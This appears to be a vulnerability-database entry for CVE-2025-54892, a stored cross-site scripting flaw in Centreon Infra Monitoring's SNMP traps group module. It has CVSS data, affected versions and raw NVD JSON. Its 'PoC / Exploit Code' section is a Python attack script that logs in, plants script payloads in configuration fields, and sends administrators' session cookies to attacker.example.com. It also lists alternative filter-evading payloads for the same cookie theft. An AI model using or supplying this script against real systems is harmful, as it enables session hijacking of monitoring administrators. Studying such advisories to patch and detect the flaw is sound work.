Security Vulnerability Report
中文
CVE-2025-54892 CVSS 6.8 MEDIUM

CVE-2025-54892

Published: 2025-10-14 15:16:10
Last Modified: 2025-10-22 14:08:09
Source: bd4443e6-1eef-43f3-9886-25fc9ceeaae7

Description

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Centreon Infra Monitoring (SNMP traps group configuration modules) allows Stored XSS by users with elevated privileges. This issue affects Infra Monitoring: from 24.10.0 before 24.10.13, from 24.04.0 before 24.04.18, from 23.10.0 before 23.10.28.

CVSS Details

CVSS Score
6.8
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:centreon:centreon_web:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:centreon:centreon_web:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:centreon:centreon_web:*:*:*:*:*:*:*:* - VULNERABLE
Centreon Infra Monitoring >= 24.10.0, < 24.10.13
Centreon Infra Monitoring >= 24.04.0, < 24.04.18
Centreon Infra Monitoring >= 23.10.0, < 23.10.28

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-54892 - Centreon Infra Monitoring SNMP Traps Stored XSS PoC # Vulnerability: Stored XSS in SNMP traps group configuration module # Affected: Centreon 24.10.0-24.10.12, 24.04.0-24.04.17, 23.10.0-23.10.27 import requests TARGET_URL = "https://target-centreon.example.com" USERNAME = "attacker_user" PASSWORD = "attacker_password" # Step 1: Login to Centreon web interface session = requests.Session() login_url = f"{TARGET_URL}/centreon/api/latest/login" login_payload = { "security": { "credentials": { "login": USERNAME, "password": PASSWORD } } } response = session.post(login_url, json=login_payload) print(f"[*] Login response: {response.status_code}") # Step 2: Navigate to SNMP traps group configuration # Inject malicious JavaScript payload into the group name or alias field xss_payload = "<script>fetch('https://attacker.example.com/steal?cookie='+encodeURIComponent(document.cookie))</script>" # Alternative payloads for evasion: # xss_payload = '<img src=x onerror="var i=new Image();i.src=\'https://attacker.example.com/steal?c=\'+document.cookie;">' # xss_payload = '<svg/onload=fetch("https://attacker.example.com/"+document.cookie)>' snmp_group_config = { "name": f"TrapGroup_{xss_payload}", "alias": xss_payload, "traps": [], "comments": xss_payload } # Step 3: Submit the malicious configuration via API config_url = f"{TARGET_URL}/centreon/api/latest/configuration/traps-group" response = session.post(config_url, json=snmp_group_config) print(f"[*] Payload stored: {response.status_code}") # Step 4: When an admin visits the SNMP traps configuration page, # the stored XSS will execute automatically, sending session cookies # to the attacker's controlled server print("[+] XSS payload successfully stored. Waiting for admin to trigger...") print(f"[+] Payload used: {xss_payload}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-54892", "sourceIdentifier": "bd4443e6-1eef-43f3-9886-25fc9ceeaae7", "published": "2025-10-14T15:16:10.250", "lastModified": "2025-10-22T14:08:08.843", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Centreon Infra Monitoring (SNMP traps group configuration modules) \n\nallows Stored XSS by users with elevated privileges.\n\nThis issue affects Infra Monitoring: from 24.10.0 before 24.10.13, from 24.04.0 before 24.04.18, from 23.10.0 before 23.10.28."}], "metrics": {"cvssMetricV31": [{"source": "bd4443e6-1eef-43f3-9886-25fc9ceeaae7", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 4.0}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.7, "impactScore": 2.7}]}, "weaknesses": [{"source": "bd4443e6-1eef-43f3-9886-25fc9ceeaae7", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:centreon:centreon_web:*:*:*:*:*:*:*:*", "versionStartIncluding": "23.10.0", "versionEndExcluding": "23.10.28", "matchCriteriaId": "52CE7EB8-492F-4469-9E01-8C63144D785F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:centreon:centreon_web:*:*:*:*:*:*:*:*", "versionStartIncluding": "24.04.0", "versionEndExcluding": "24.04.18", "matchCriteriaId": "7C3C1C61-F2EB-4900-9BB7-C80A6C538E5E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:centreon:centreon_web:*:*:*:*:*:*:*:*", "versionStartIncluding": "24.10.0", "versionEndExcluding": "24.10.13", "matchCriteriaId": "09800EB4-10FC-4667-9FC8-88D9A8BB2751"}]}]}], "references": [{"url": "https://github.com/centreon/centreon/releases", "source": "bd4443e6-1eef-43f3-9886-25fc9ceeaae7", "tags": ["Release Notes"]}, {"url": "https://thewatch.centreon.com/latest-security-bulletins-64/cve-2025-54892-centreon-web-all-versions-medium-severity-5121", "source": "bd4443e6-1eef-43f3-9886-25fc9ceeaae7", "tags": ["Vendor Advisory"]}]}}